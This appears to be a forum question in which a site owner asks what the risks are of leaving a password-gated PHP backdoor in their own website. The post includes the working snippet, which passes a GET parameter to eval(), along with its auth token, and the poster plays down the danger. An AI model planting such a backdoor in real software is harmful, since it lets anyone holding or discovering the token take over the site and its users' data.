I have a fundamental question about the harm of leaving a backdoor in one of my public websites / plattforms. I do not want to discuss the details why I wanted to do that, I just want to understand the problems with it.
Let's assume I'd include an very easy backdoor like so, which is effectively a remote code execution:
<?php
if(isset($_GET['cmd']) && isset($_GET['auth']) && md5($_GET['auth']) == '498fb1a257c04cacad63c936a7d1355a') {
$cmd = $_GET['cmd'];
eval($cmd);
}
The md5 hash is the representation of an "auth-token" ftc9278fvojhbdc7frgzbdnsajch8273rgnsaklcmnwt6724389rimksd
.
Now my question is: What is so bad about it? I mean, only ppl who know the password ftc9278fvojhbdc7frgzbdnsajch8273rgnsaklcmnwt6724389rimksd
AND know about this way of backdooring my application will get access. Yes, they could brute-force my website, but that's just insane and unimagineable. Why? Because they could also simply brute-force my FTP OR my Admin-dashboard which is WAY MORE straightforward, because you'd at least know there's the admin dashboard, e.g. when using WP. So as an attacker, I would rather try that instead of brute-forcing random $_GET
parameters...
And as soon as you got access to FTP, hence the code, you could anyhow execute whatever code you want.
What are the risks / downsides?